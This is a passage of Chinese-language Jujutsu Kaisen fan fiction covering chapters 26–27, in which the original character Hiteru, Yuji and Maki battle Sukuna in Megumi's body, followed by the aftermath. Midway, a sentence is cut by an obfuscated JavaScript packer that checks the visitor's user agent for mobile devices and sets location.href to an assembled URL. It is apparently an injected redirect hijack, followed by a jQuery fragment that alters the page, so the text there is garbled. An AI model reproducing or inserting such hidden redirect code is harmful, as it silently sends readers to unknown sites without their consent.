结界外等待通知的伊地知洁高看着伏黑津美纪的身影消失在远方,他以多年的工作经验意识到结界内肯定出事了,随即立刻开始疏散周围正在游行的人群。拨通紧急号码联系新田明的同时,他将一个小号机械丸直接扔向了结界内。 “伏黑......?” 虎杖悠仁看到了倒在地上的日照。 宿傩很早就看上了伏黑惠的身体。在他生活的平安时代并没有十影术师出现,对于这个术式潜在的可能性,宿傩非常感兴趣。再加上他感受到了伏黑惠对他的耐受性,也就是说这个少年有机会承受他的毒性,成为容器。不是牢笼。 躺在地上的那个小子,恐怕流着五条家的血,那只一直遮住的眼睛也有什么名堂。万手上的那个手链是羂索给的吧?区区只有二级的咒具,居然让她瞒天过海,混在日照身边没有露馅。 至于那把杀死他的咒具......算了,先把眼前这个早就看着不爽的小鬼解决掉。 宿傩的这一拳只用了六七分的力气,但也不是虎杖悠仁能够简单接下的恐怖力道。剧痛从腹部逐渐蔓延至全身,虎杖悠仁只是觉得天旋地转,再睁眼自己就已经来到了一片陌生的废墟中。他看着前方大楼烟尘四起的空洞,大脑慢了一秒才反应过来他被宿傩打飞了,穿透了一栋楼。 碍眼的虫子终于清理掉了,宿傩还有心情拍拍衣服上的灰尘。 有万的配合,利用伏黑津美纪的身体给予伏黑惠精神上的打击,这样就能确保宿傩在受肉的时候切实地获得身体的主导权。 “窗”总部附近待命的所有咒术师都感觉到了来自宿傩那压倒性的力量。来不及多想,还没完全适应全新天与咒缚的禅院真希带着从伏黑甚尔那里顺来的咒具释魂刀准备出发。 秤金次和星绮罗罗恰好就在东京第1结界里,他们看着把钢铁浇筑的高楼大厦当成落脚处的巨型式神,秤金次下意识地骂了一句:“我操!!那他妈是人能搞出来的东西吗!?” 被召唤出来的是鵺,它的形态与被伏黑惠召唤时有明显的不同。不说这个在钢铁森林中振翅的巨物的体型,单看样貌也多了很多非常理的结构。 鵺卷曲的尾巴垂落下来,伸展的羽翼刺破结界。无数道雷霆在它的翅膀下酝酿着,滚动的苍雷甚至压过了天空的光亮。 “咕嘟。” 宿傩刚刚放开召唤鵺的手影,居然在此时听到了一声吞咽的声音。 “啊?”他挑眉看向跪坐在一摊血水里的青年:“你居然还没死啊。” 青年垂着头,看不清颜色的水滴从他的发梢跌落,砸碎在波纹中。 咒力量增加了。 宿傩以手作刀,挥出斩击的轨迹:“解。” 无形的锋刃交织成网,瞬息便来到了徒劳跪坐着的青年身后。 日照头也没回,同样抬起手随意地挥了一下。 宿傩的战斗经验无人能及,在日照手臂甩出去的瞬间,他就做出了必须后退的判断。不多不少,他退到了五十米之外。 他的斩击悄无声息地消失了,同样消失的还有眼前半径五十米的球体内的一切。 连结界都被“吃掉”了一块,内外通透。 这个术式……宿傩以为日照唯一能够威胁到他的就是在涩谷将他强行压制下去的能力,没想到他还送上了这么大的一个惊喜。 被挖空的球形空洞内没有任何人影,青年已经持刀挥砍到了宿傩的眼前。 诅咒之王双手合十将雷切夹在中间,直面这个主动冲过来的蝼蚁:“不管是哪个时代!!总会有蚍蜉妄想撼树!!” 眼罩早已不翼而飞,右眼被贯穿前后的那一刀彻底碾碎。眼眶中新生的眼球冒着伤口迅速新生时的蒸汽,铺满血丝的眼白颤抖着,虹膜从上方翻了下来。 26. 余烬 “弥山。” 嘀嗒——嘀嗒。 “醒醒。” 微弱而悠长的呼吸声。 —— 宿傩双手抓住雷切,抬脚踹向日照的肋间。宿傩想要趁机夺取他手中的武器,但日照更快地抽手,借着那一脚的力量后退。 双脚刚一落地,宿傩的斩击就到了眼前。日照用雷切挡下,虽然反弹了由【御厨子】发起的攻击,却也让宿傩理解了雷切的特性。 “哼,是这种感觉啊。” 宿傩的心中突然有了一个猜想,他选择立刻去验证它。 日照刚想用反转术式修复碎裂的胸骨,但宿傩的身影突然消失在了他的视野中,这让他选择放弃使用反转术式,持刀时刻准备反击。 宿傩根本不屑于隐藏自己的气息,日照的右眼却难以捕捉他的方位。只是单纯地因为诅咒之王的速度太快了。 一只手掌盖住了他的脸,巨力将他掀翻仰面砸进水泥地中,被捂住的口鼻开始传递出一阵阵窒息的感觉。 尖利的指甲几乎要扣进日照的眼眶,咒力涌动间,骑在他身上的宿傩居高临下地嘲讽道:“真不像话哈哈哈哈哈哈!!你不会用他的术式吧!!?” “捌”正在根据术式对象的咒力量和强度调整威力。 不知为何,本应瞬间发出的攻击此刻却迟滞了一刹。宿傩察觉到了身体的异常,仅这刹那间的停顿,日照的手摸上了他的手腕。鲜活的愤怒充斥在日照的眼睛里,咒力爆发的瞬间产生的冲击溅起满地尘土。 宿傩扔掉扣在小臂上的断手,云淡风轻地看着灰尘逐渐散去。术式范围大概在半径五十米左右,范围内所有带有咒力的物体会被分解,接触到的无咒力的物体也会被分解吧?最重要的是,术式发动最多有10秒的间隔。不妨先按照范围越大、间隔时间越长来假设。 蹲在坑底的日照逐渐露出身形,左臂被切断的断口已经止血,反转术式修复着胸口和手臂的伤口。脸上的伤不重要,被他暂时放在了一边。 宿傩看着本来应该一击致命的“捌”只在日照脸上留下了一道深痕,结合感知到的咒力输出的异常,发现了问题的所在:“伏黑惠你小子......” 一旦宿傩试图对他的同伴发起攻击的时候,咒力输出的效率就会出现大幅波动,最严重的时候能够降到一成以下。 这具身体居然还有余力反抗。 鵺的身影像是乌云一样笼罩在附近的天空中,因为没有自我意识,所以只能机械地听从宿傩的指令。鵺的羽翼下开始重新凝聚雷霆。 日照抬起头,面上淋漓的鲜血淌了满身。他双手结印,带着疯狂的决绝吼道:“领域展——” 比苍雷更加闪耀的光芒从天而降,圣洁的羽翼抹消了此地黑暗的一角。 天使的咒力洒下,灼烧着下方的宿傩和日照。 失策。宿傩抬手遮挡,在手臂的掩护下向天上看去。她们是共生关系,来栖华被他掐晕之后,因为有天使的力量,苏醒得很快。 日照放弃结印,顶着咒力的逸散向宿傩冲了过去。 “天使!!等等!!那是阿惠的身体!!他会受伤......”来栖华被天使叫醒后还没有反应过来发生了什么事。她看到“伏黑惠”的咒力被天使的术式消磨着,向外消散。 天使严词拒绝:“堕天已经进入到他的身体里了!事已至此,已经别无他法!!” 日照大喊:“动手,天使!!!” “要在堕天彻底扎根之前,将他剥离出那小子的身体,消灭掉!!” 来栖华举起了号角。天使看到了正在接近宿傩的日照,他们已经进入了天使的术式范围,但现在没有什么比消灭堕天更重要。不管日照和伏黑惠能不能在“净化”中活下来,现在都只能放手一搏了...... 宿傩准备硬抗。毕竟使用术式的不是天使本人,只是容器,术式效果可能大打折扣,而且......他的余光瞥到冲过来的日照。这小子也在术式范围内,如果术式威胁到他的生命,那么这小子也活不成了!! “......还给我。把阿惠......还给我!!” 光啊,净化时间万物之光——来栖华眼角溢出的眼泪反重力地向天空飞去,她用最大的力量催动术式,吹响了号角。 ——负其罪孽担其忧,带他到主座前来。 正上空展开的光阵吸走了附近所有的光亮。火速赶往结界的禅院真希震惊地看着太阳好像突然出现了日蚀一般黑了下去,仿佛一步从白天跨入了黑夜。 ——【雅各布天梯】!! 光柱打到身上的时候,日照如遭当头一棒。所有的感官在一瞬间开始紊乱,不知道是他还是宿傩的叫喊缠绕成了一团,被人暴力塞入了耳道里。身体像是在瀑布下被水流冲击着,压得他抬不起头。 他等待着灵魂撕裂的感觉,摇摇晃晃地在天旋地转的世界中站稳,提起拳头。 没有。什么都没有。 他意识到了什么,破口大骂:“混蛋弥山你他妈——” 日照星海挥出的拳头没有击中任何人。他低头,看到了无限延伸至远方的镜面。从他站立的地方开始,裂纹正在逐渐扩大,崩裂时产生的玻璃碎屑划伤了他的皮肤,留下不痛不痒的红痕。 他疯狂地向公寓的方向跑去,撞开大门。 来栖华听到了熟悉的声音。 “华,”她的阿惠站在那里,身上的咒纹似乎正在消散,看起来已经恢复了理智,“谢谢你,我都想起来、了......” 日照的拳头落在了宿傩的脸上。尽管早有预料,但天使的术式对他造成的伤害还是远超想象,怪不得她说她有把握彻底杀死宿傩。现在仅剩的咒力已经不足以支撑他使用【代理人】拉取未来的可能性,日照选择利用攻击灵魂的特性配合【雅各布天梯】继续对宿傩造成伤害。 最好的结果是直接将宿傩打出去,再次就是将宿傩的灵魂削弱到一定程度,让伏黑惠重新夺回身体的主导权。 挨了日照一拳的宿傩本就不稳当的灵魂摇晃得更加剧烈,他挡住日照奔向腹部的下一拳,继续蛊惑来栖华:“已经没事了!!华!!” “你觉得她会信!?”日照逼近宿傩,持续发起进攻:“滚回去吧!!” 他说话的时候,鲜血从他的眼眶和鼻子里流个不停。对面的宿傩没比日照好到哪里去,灵魂被净化让他无法自如地操纵伏黑惠的身体,一个防御的错位就让他白白挨了好几拳,一阵反胃的感觉涌上心头。 忽然,宿傩笑了起来。日照冷下脸。 “阿惠......”来栖华相信了。似乎是死灭洄游开始后的屡战屡胜让她对天使的术式产生了盲目的信心,更不用说这次直接使用了【雅各布天梯】。不会有人能够逃脱“神”的制裁。 头顶光环的女孩开始下落,天使焦急地说:“不能停手!!华!!” 日照目眦欲裂地抬头威胁:“继续!!!” 就这一抬头的时间,宿傩的拳头击中了日照的下颌,彻底将他击飞了出去:“别着急,下一个就是你。” 宿傩向持续下落的来栖华伸出手:“我都想起来了,华。” 来栖华本来以为那段记忆只有她还记得。将她从“咒灵妈妈”的领域中带出来的、有着柔软白色毛发的大狗狗,和它的主人。 “其实我......一直都对你......” 下巴的骨头碎了。日照翻身,视线定在了即将落地的来栖华身上。 抓取未来的可能性是很难的。日照的嘴角也淌下了鲜血。 因为那是现实的膨胀,他的想象力从来只有一小部分会被承认。但如果,是确实的过去,那就无需想象力登场。因为那是现实、是曾经发生过的事。 日照抓握住了虚空,用力一扯。 “啊啊啊啊啊啊啊啊啊啊啊!!!!” 超近距离的【雅各布天梯】在宿傩头顶缓缓展开,光柱落下的地方,恶魔的嚎叫刮擦着所有人的耳膜。 “华!!不要被迷惑了!!他是堕天!!”天使极力劝说来栖华保持清醒。 “术式自己发动了!?”明明无人吹动号角,圣乐却自然而然地响了起来。 一只满是灼伤的手从光柱中伸了出来,抓住了来栖华。反转术式运转时产生的白色蒸汽模糊了来栖华的视线,她觉得有巨大的力量从被抓住的手臂上传来,随后整个人就被拉了下去。 来不及治愈自己的伤,日照爬起来重新冲向来栖华的方向。 宿傩揪住了女孩身后的翅膀,他的心思昭然若揭。 网球袋的背带在之前的战斗中断裂,包掉落在了路边,日照的手上只有雷切。他向前掷出刀,阻止了宿傩咬断来栖华的脖子。 被阻拦的宿傩换了一种方式,选择一拳将来栖华砸进了地面。 女孩身下的地面出现了龟裂,额头上淌下的鲜血说明她的头部受到了重创,没有再战的余力。 “你啊,”宿傩抬臂挡下日照的勾拳,“来来去去就这几招,我已经看腻了。” 来栖华还在宿傩脚下,但不能排除日照会不管不顾用那一招的情况。 十数道斩击发出,携带着咒力的攻击在日照的右眼中无所遁形。他没有选择使用术式躲避,而是选择承受尽可能小的伤害,迎面而上。 果然!!但是两发【雅各布天梯】多少还是对宿傩造成了影响,伏黑惠对他的咒力输出的限制增强了。 看到日照举起拳头,宿傩同样准备回以重击。 然而这一次日照瞄准的不是他的脸,在双拳交错的瞬间,他的身形矮了下去,拳头砸进了地面。 瞄准的是脚下!?同样的场景似乎很早之前在他的生得领域里发生过。宿傩感受着被砸飞的碎石不痛不痒地打在身上,不太理解日照究竟想干什么。是为了带走来栖华?还是...... 被碎石打中的地方传来了异样的疼痛。宿傩不会因为疼痛而皱眉,他发现那些碎石上包裹着和日照同样的咒力。是扩张术式! 对于【代理人】来说,当术式对象是没有咒力的物体时,抓取时间线上可能性的能力被全部转化为“强化”。碎石的攻击性被强化了,它们四处飞溅,虽然体积小到可以忽略不计,但被它们击中的地方的血肉像是被子弹打中一样炸开了。 无形的“解”无声消散。宿傩挑眉。 这个小子倒是比刚才那个厉害,至少在咒术上看得出来,还算有点脑子。 术式对象的选择、术式范围的调整,种种条件经过精心地选择和构建,最终呈现出来的就是从生得术式本身衍生出来的各种扩张术式。 消耗最小的咒力量,最大程度强化自己的攻击性,通过千奇百怪的进攻展现自己的想象力。 啪。 日照抓住了伏黑惠在宿傩进攻时制造的破绽,蜻蜓点水似的碰了一下宿傩。 “?” 仰头倒下的是日照,宿傩甚至觉得他好像是在碰瓷。日照拼命把自己翻过来,防止呕吐物和涌出的血液呛死他自己。大脑好像要被烤熟了,涨得要爆炸。 但是。 “宿、傩啊啊啊啊啊啊!!!” 虎杖悠仁加入了战斗。 宿傩一脚踢开日照,转头对上了虎杖悠仁:“你还在呢?” 粉发少年将积蓄的愤怒与恐惧全都赋予了覆盖着咒力的拳头,双腿瞬间爆发力令地面碎裂凹陷,这一击的速度让宿傩提起了一些兴致。 虎杖悠仁从不知道自己的身体还能爆发出这样的力量。同伴们都在自己的面前倒下,而罪魁祸首还在笑着。 “为什么......为什么!?” 日照垂下的头成了压垮他的最后一根稻草,陷入绝望与巨大悲痛之中的虎杖悠仁嘶吼着:“你、你们,为什么不能普通地活下去!!?为什么非要让世上充满不幸才肯罢休!!?” 他们的每一次对拳都连带着摧毁了周围的建筑,宿傩知道自己的肉|体力量正在被伏黑惠限制,但虎杖悠仁这惊人的力量是—— “要我说的话,倒是你们,为何如此弱小不堪?” 宿傩抬手,却没有斩击出现。 “......” 他头一次觉得一个怎么都死不掉的人实在让他心烦意燥。他带着几分怒意笑着看向日照:“看你这小子干的好事!!” 勉强撑起上半身的青年小半张脸都被血糊住了,血浆混合着灰尘在脸颊上流淌着,唯独那双眼睛鲜活得发亮。他向宿傩比了一个中指:“去死!” 虎杖悠仁一拳打在了宿傩的脸上。 日照翻身继续吐,他的脑袋快要炸了。 “把【御厨子】扔掉!!”开在他脸上的嘴巴急促地说。 日照充耳不闻,扶着墙摇晃着站了起来。有一股陌生的咒力正在靠近,不知道是敌是友。羂索那个老狐狸也不知道在哪儿看着呢吧......被那个疯女人摆了一道! “万......”她手里那把咒具是天逆鉾!十五年前在冲绳羂索就用天逆鉾算计了他,明明当时那把刀已经被毁成了碎片,他们居然还能再复原!? 该死的【构筑术式】!! “弥山!!你不可能再坚持下去了,你想被烧死吗!?” “闭嘴笨蛋星海!!”日照浑身发烫,但战意却愈发高涨,连带着几近枯竭的咒力也重新流动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137757|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来。 率先赶到的支援是获得暴君身体的禅院真希。全新的天与咒缚让她迈入了与伏黑甚尔同样的世界,身上最后的咒力也被驱散,因此只有当肉眼见到她的时候才能发现她的接近。 见此情景,宿傩状似无奈地叹了口气,单手插兜游刃有余:“果然无论做什么都需要一锤定音。” “真希学姐......” “抱歉让你久等了,麻烦简要说明一下情况。”禅院真希手里提着两把刀,一把是释魂刀,另一把则是半路捡到的雷切。 日照迅速说道:“他没有术式,把你的刀给我。” 禅院真希一秒钟都没有多说,直接把释魂刀扔给了日照,自己手持雷切冲了上去。虎杖悠仁和她配合着两面夹击,同时对宿傩发起进攻。 这具新的身体她还不太适应,不光是肉|体的强度,连感官都变得更加敏锐。流动空气的温度变化、每一个微小的气旋、每一团灰尘的形状,这一切都在她的脑中变得更加清晰。 日照深吸一口气,甩刀冲了上去。 他手里的这柄刀一看就是禅院真希从伏黑甚尔那里敲来的,日照很了解这把刀是因为这玩意儿就是他帮伏黑甚尔搞到手的。 释魂刀能够无视一切物体的硬度,斩裂灵魂。然而要想发挥其十二分效果,需要拥有一双甚至能够观测无生命体的灵魂的眼睛。能够观测到灵魂之人使用释魂刀时,造成的伤口通常无法用反转术式进行治疗。 在场还能动的三个人里有两个能够看清灵魂的轮廓,但虎杖悠仁不擅长使用武器,所以由日照来用这把刀最合适了。 禅院真希不敢抱着试探的心态浪费每一次进攻的机会,因此一上来就火力全开。宿傩在与她的角力中居然处于下风,被她砸了出去。 是惠吗......禅院真希颠了颠手中的胁差,对虎杖悠仁说:“悠仁,即使要杀死目标,也要抓住‘那个’,明白吗?” 虽然不知道日照用什么方法拿走了宿傩的术式,难道是【代理人】?不过看他的样子应该也不轻松。虎杖悠仁死而复生的过程除了五条悟和他最信任的几个人之外没有人知道具体发生了什么,但“容器失去心脏也暂时不会死”这一点确凿无疑。 禅院真希顶多在肉|体上压制宿傩,要想真正对他造成伤害就必须靠虎杖悠仁和日照他们两个能够打到灵魂的攻击。 “要加速了,能跟上吗?” 虎杖悠仁擦去嘴角的血:“没问题!” 日照没有余力参与到他们和宿傩的正面战斗中,他必须伺机而动,利用好释魂刀。而且,那个陌生的咒力气息已经很接近了。 他们在废墟中穿行,所过之处砖瓦碎石四散飞溅。 禅院真希接近完美的身体强度让宿傩觉得有点意思:“哈哈!!很不错!!!” 他自然感知到了里梅的咒力波动,行动间向里梅所在的方向靠近。日照不远不近地吊在他们后面,既不靠近也不远离,让宿傩不得不分出一部分注意力来盯着他。 他们的战斗已经突破结界,冲到了高架桥上。 桥面上空荡荡的,大概是因为太靠近结界,并没有车流从这附近经过。 里梅就站在不远处,浑身咒力翻涌。 【冰凝咒法】,最大输出。 “——霜凪!!” 远处的空气泛起不正常的白色涟漪,超低温扫过的地方瞬间覆盖上了厚重的冰霜。 虎杖悠仁在涩谷见过这一招,被冻住的话只要乱动身体就会裂开,而且速度太快了!! 他突然感觉有人拽住了他。日照与他擦身而过,什么都没有说。 凝结着冰晶的气浪奔涌而至,宿傩已经许久没见过里梅如此火力全开的样子,欣赏着里梅制造出来的绝景,随口说:“五条家的那个小子直接杀掉。” 他得把【御厨子】和【十种影法术】拿回来才行啊。 被卷入冰浪之下的虎杖悠仁已经觉得有冰晶顺着他的鼻腔冻住了肺,每一口呼吸都带着极致的寒冷,整个胸腔像是被无数根针戳刺着。 冰晶定型之前,他听到挡在他们前面的人声音颤抖着说:“开。” 宿傩扔掉了看好戏的表情,露出了一个没有人敢想象可能会出现在诅咒之王脸上的滑稽疑问脸:“真的假的......?” 霜白的冰层被炽热的火焰灼穿,洞口另一侧的青年手持烈焰,癫狂地大笑着。 超规格的火力、万死之炎——于此现世。 “我真是小瞧你了啊!!五条家的!!!”宿傩伸手准备接招,里梅身边的气温一降再降,冷热碰撞形成的雾气迅速笼罩了附近的空间。 虚张声势!!!“竈”的用法...... 宿傩突然收敛表情,凶恶地盯着日照。 青年眼里是纯粹的愉快,用因为力竭和大笑而沙哑声音喊道:“我知道啊!!!” “是——这么用的吧!!!!” 机械丸传来的画面中断了。 五条悟转头看向连接着冥冥乌鸦视线的屏幕。他的表情阴沉得可怕,只是冥冥从来不会被他唬住,继续操纵着乌鸦靠近那片爆炸的中心。 恐怖的冲击扫平了周围所有脆弱的物体。焦糊的枯叶从燃烧着的树枝上飘落,坚硬的混凝土也变得有些松松垮垮,附近楼层的玻璃全都变成了熔融状态,又在顺着墙体流下时迅速凝固。 宿傩全身基本都被赤炎灼伤,被爆炸和冲击波及严重的地方露出了苍白的骨头。 在冲击中被炸向另一侧的里梅强撑着想要继续使用术式,被欺身而上的禅院真希用雷切反击,踹向了更远方。 “小鬼,好好感谢那个姓五条的吧。” 【御厨子】已经回来了,但灵魂受到创伤的宿傩干脆地放弃了这次机会。是他小看了五条家的那小子,没想到他还能献上这么精彩的一出表演......不过宿傩可没准备放弃已经唾手可得的自由。 虎杖悠仁手持释魂刀,捅穿了他的心脏。 “虎、杖......” 虎杖悠仁听到了微不可查的声音,他抬头,对上了一双逐渐失去光亮的眼睛。看到伏黑惠身体上属于宿傩的咒纹真的开始消失,这才抖着手拔出了释魂刀,接住他瘫软的身体无助地看向日照:“日照先生......他、伏黑......刚才......” 他自己和禅院真希多少都被有些难以控制地火焰灼伤,日照摊开的双掌间伤口同样深可见骨。 正准备继续追里梅的禅院真希忽然愣在了原地,小心地看向前方。 里梅被一个身影拦了下来,羂索隔着百米和日照打了个招呼:“嗨~好久不见了,弥山。” 27. 交换灵魂 “放开我!!宿傩大人还......”里梅的僧衣被烧毁了大半,他挣开羂索的手。 “嗯哼,看起来这次没机会了啊,”羂索用遗憾地语气说道,“不过多亏了你们,我看到了很多有意思的事情哦。” “你!!” 他没有理会里梅想要杀人般的瞪视,站在原地没有动,连嘴角微笑的角度都没有一丝一毫的变化。 日照脱力单膝跪倒在地,扔掉了一个【御厨子】之后他的大脑好受了不少。很难想象有人能背着四个术式满大街跑,没当场进入轮回都是他命大。 明明他最想杀的人就在眼前。日照抬起眼皮,看向远方的那道身影。 他最恨的人。他最爱的人。 刺目的缝合线。 如果伏黑惠醒着,他一眼就能看出日照摆的是什么手势。 “......” 布瑠之言没能说出口,羂索的微笑大了几分。 青年的身体晃了晃,突然呕出一大口血。召唤魔虚罗的双手垂下,接触到了自己的影子。一只犬类生物被召唤了出来,它下意识地贴近了身边的人,但又疑惑地望向伏黑惠。 日照抬了抬手,玉犬的身影又消失了。 “看来现在不是叙旧的好时机啊,”羂索带着里梅轻松地向后退去,躲开了从天而降的进攻,“如果有时间,我还挺想问问你现在是什么感受。” “真人。” 蓝色头发的缝合脸咒灵嬉皮笑脸地说:“哟!现在应该叫你羂索?好久不见啦!” 羂索似乎并没有把它放在眼里,继而注视着日照:“那,我们下次见吧。” 强撑着身体的日照已经没力气放狠话了,真人只起到了一个威慑的作用,它站在双方之间,插着手看戏。 禅院真希看着羂索带走了里梅,虎杖悠仁喊她:“真希学姐!!” 她回头看了一眼,日照显然有点晕乎了,用手擦着嘴角怎么也停不下来的血,垂着眼睛。 “既然夏油老师让你过来,那就快点干活。”她催促真人。 “被你们命令真是让人不爽,”真人小跑着来到了日照身边,嘴巴里不停说着垃圾话,用手触碰到了日照的身体,“哦呀,你们的灵魂......” 虎杖悠仁和禅院真希一起开始处理伏黑惠的伤口。他抬头看了一眼真人的方向,最终什么都没问。 “家入小姐就在总部,但是惠这个情况......嘁!”禅院真希啧舌,短短十多分钟里就发生了这么多事,现在才终于有机会喘口气。虎杖悠仁身为两面宿傩的容器,得到的死缓是五条悟从总监部手里争取过来的。伏黑惠的情况不能以他作为参考,虎杖悠仁能够压制宿傩,但没人能确定伏黑惠也可以。 如果想得更残酷一点,也许宿傩已经彻底杀死了伏黑惠的意识。 “好啦!让我来看一下~”真人又跳了出来,根据夏油杰的指令碰到了伏黑惠的身体。真人能够触碰灵魂,他从这具身体中读出了几个很重要的情报。 宿傩的灵魂的确受到了创伤,应该算是比较严重吧?不过他的灵魂级别很高,这种伤势不会影响他太久。 伏黑惠还活着。 虎杖悠仁如同得到了宽赦,四肢瘫软。 “那......!” “但是,他和你不一样哦,虎杖悠仁~”真人嬉笑着,说出的话重重地击中了刚刚升起一丝希望的少年:“他的灵魂打不过宿傩,下一次睁眼,这具身体还是宿傩的所有物。” 禅院真希闭上了眼睛。这可真是最糟糕的情况,虽然已经没有总监部可以对他们施压,但经过了涩谷的灾难之夜,咒术界的大多数人都重新认识了宿傩这个名字的恐怖。 哪怕没有那群腐朽陈旧的老人,伏黑惠也会被咒术界审判。 没有【无下限咒术】的五条悟还能救下他吗? “行了,这事交给五条和夏油,让他们想办法。”日照的声音在他们身后响起,真人替他治疗了一下伤口,等咒力稍微恢复一些,他就能用反转术式。 虎杖悠仁将最后的希望放在了日照身上,他还记得青年在涩谷将他叫醒,如果日照能让伏黑惠也醒过来的话—— “抱歉,”日照看着这个孩子眼睛里最后的光也消失不见,移开了目光,“我叫不醒他。” 禅院真希问:“你的术式也没办法吗?” 真人摊手:“他说的可不是这个海胆头,而是他的宝贝兄弟。” “......” 禅院真希也不知道该说什么了。 日照叹了口气,用刚刚恢复了一些的咒力对伏黑惠施加了最简单的封印,让他的身体不要那么快地恢复。他翻阅着记忆,弥山在北海道的两年里接触过不少阿依努人的封印技法,伏黑惠心脏的伤被真人治愈,在封印的压制下缓慢而微弱地跳动着。 “别哭丧着脸,办法多得是,”日照一屁股坐在了地上,刚才的封印用光了恢复不多的咒力,“送到北海道去,把伏黑......我是说大的那个,也打包送过去。” 醒了就在心脏上来一刀,伏黑甚尔不至于连这点事都做不好。这样还不行的话就让天使也过去,阿依努人手里还有不少秘不外传的咒术,总会有办法的。 “你说得倒是简单......”禅院真希收起释魂刀,替他背着雷切。看样子这个烂摊子最终还是要推到五条悟和夏油杰的头上。 日照耸肩。现在最重要的是伏黑惠自己的意志,他要是放弃了就彻底完蛋。 他向禅院真希索要手机,她递了过去。 “喂喂?弥山你还活着吗?”五条悟的声音从电话的另一侧传了过来。 日照没有在意他的态度,言简意赅地说明了伏黑惠现在的情况。电话那边沉默了一会儿,五条悟说:“如果让宿傩重新回到悠仁体内呢?” “不,”他顿了顿,语气轻快了起来,“就按照你的方法,再把他做成咒物吧~我会想尽一切办法把他彻底封印。” 日照无语道:“你又不是不知道他当时花了多少年,五条。” “时间拖得越久越不利。” 五条悟终于实话实说:“天元这边出了点问题,弥山的术式解除了。” “什么意思?” 日照弥山与天元商定的代价是“死亡”。【代理人】帮祂将肉|体状态拉到五百年前刚刚与星浆体同化完成时,而天元需要付出的代价是“死亡”。但是因为祂的术式是“不死”,且祂亲口确认“不死”的优先级要高于“死亡”,因此他们才完成了这一次交易。 在咒术的世界,风险与收益总是成正比的。这个道理用在【代理人】上,那就是代价越大,能力越大。突破某个界限之后,被拉取到现实的“存在”便能够以远超常理的形态出现。 如果是寻常对象,日照弥山偶尔可以做到“两头骗”,是一场输了也没什么关系的豪赌。但是,以天元这样的存在作为术式对象,只有足够大的代价才能达成“等价”。 在日照弥山的感受中,他与天元的交易已经彻底结束了。但是天元却清楚地知道,因为“不死”的优先级高于“死亡”,【代理人】的术式其实处于未完成的状态。一切都很顺利,但就是进度条卡在了99%,如果在这个时候关机重启,那么所有的进程都会被删得一干二净。 “......活该。” 哇,狠狠地生气了~星海只要一生起气来就会变得六亲不认,尤其是跟弥山扯上关系的事,这个时候就不能要求他考虑其他人了。 所以,现在位于薨星宫新址的天元已经进化成了更高等级的存在,也就是说更加接近咒灵。 那就没办法利用北海道的灵场让阿伊努人进行封印了。 “狱门疆的残骸还在吗?” “在是在,但是已经变得破破烂烂的啦。” 日照起身拍拍裤子上的灰,手掌上的伤口已经快要愈合完毕:“那就把伏黑惠送去高专,反正本来那里就是准备好的陷阱。之后我会去找万,剩下的事就走一步看一步吧。你那边......” 哪怕隔着电话,也好像能看见五条悟比出的大拇指:“进展顺利~啊,不过这边有个老头子一直说你们当时欠了——” 日照迅速打断他:“那边的事等结束了再说。” 伏黑惠由禅院真希和真人移动至高专交由夏油杰看管,日照从战斗的中心捡回了自己的包,跟虎杖悠仁一起带着来栖华回到了“窗”的总部。 经过家入硝子的治疗,来栖华的伤势已无大碍,但她似乎还对遭受了宿傩的蒙骗心有余悸,在询问了伏黑惠的下落之后就把自己关在了房间里。 天使有意问日照一些事情,但来栖华不想出门,她也就尊重了女孩的想法。 五条悟和夏油杰都不在,剩余的咒术师中承担起“领头人”的不是东京高专的校长夜蛾正道,而是总是一副颓丧模样的日下部笃也。 “......为什么啊!?”准备溜走摸鱼的成年人发出难以理解的嚎叫。 “星海,”夜蛾正道没有理会日下部笃也的反对,看向自己的学生,“弥山的情况怎么样?” 大厅里聚集了不少咒术师,聊天和交接任务的声音不约而同地下降了一些,所有人的视线隐隐约约都看向了这边。 日照和夜蛾正道坐在靠墙的一张圆桌旁。他抬头扫了一眼,那些视线霎时消失了。 夜蛾正道摁揉着额头:“我知道你很生气,别吓唬那些孩子们了。” 日照哼了一声。夜蛾正道没有逼着他说话,曾经的师生终于又一次面对面地坐到了一处。当年冲绳的事件报告传到夜蛾正道这里时,他正在五条家为过几年五条悟的入学商谈相关事宜。他被一通电话叫了出去,挂断之后来不及和五条家主告别就匆匆往回赶。 那一次无疑是他职业生涯中过得最漫长的一天。 本来是最普通的一次任务,因为“窗”发现等级评估错误,所以日照双子紧急出发去救场。 二年级一共四个学生,死了两个,一个“叛逃”,剩下的那个也没留在东京校。 “抱歉,老师,”日照绞着手指,“他给你添麻烦了吧?” “......不,是我们没能撑起来。”哪怕当了教师,还是连自己的学生们都保护不了。如今悟和杰他们开了头,他自然也要跟上才行。 “当初到底......算了,你们不愿意说就不说。”冲绳事故的余波一直没能完全平息,直到去年还有未被彻底消除的遗恨生成了诅咒。是二年级的乙骨忧太他们几个人去处理的。 日照看起来状态还行,至少夜蛾正道没有看出不对劲的地方。他随意敷衍了两句,准备上楼回房间。 被那些隐晦注视着的目光送上了楼,他走后的大厅里就像是撤走了一层无形的压迫,窸窸窣窣的声音大了起来。 “我说,那个日照那么有名吗?”钉崎野蔷薇拉着枷场姐妹问道。她们也不清楚,于是去问了日下部笃也。 “哈?你们不是夏油家收养的吗?居然不知道他吗?”别看日下部笃也永远一副懒懒散散的模样,但其实消息超级灵通。他已经差不多把日照明面上能够找到的资料扒了个干净,虽然也只是冰山一角吧,但好歹还是能说出个一二来。 “他们两个好像是在五条家长大的,但是不知道为什么不姓五条。离开五条家后去了高专,只上到了二年级就出事了,真是可惜。” “出事?” “冲绳的那个‘熔海事件’,当时好像是被报道成工厂爆炸来着,我记得是03年的事。” “那谁知道啊!?本姑娘才刚刚出生好不好!” 日下部笃也挠着头,老神在在地批评高专一直以来的教育制度:“所以我就说不要总是教一些打打杀杀的事,什么历史啊外文啊都该通通加上,给我像个高中生一样上一天的课啊!!” 他被三个小姑娘用看迂腐老人的表情盯着:“有区别吗?” “所以,跟现在‘这个’有什么关系?”钉崎野蔷薇指了指天花板。 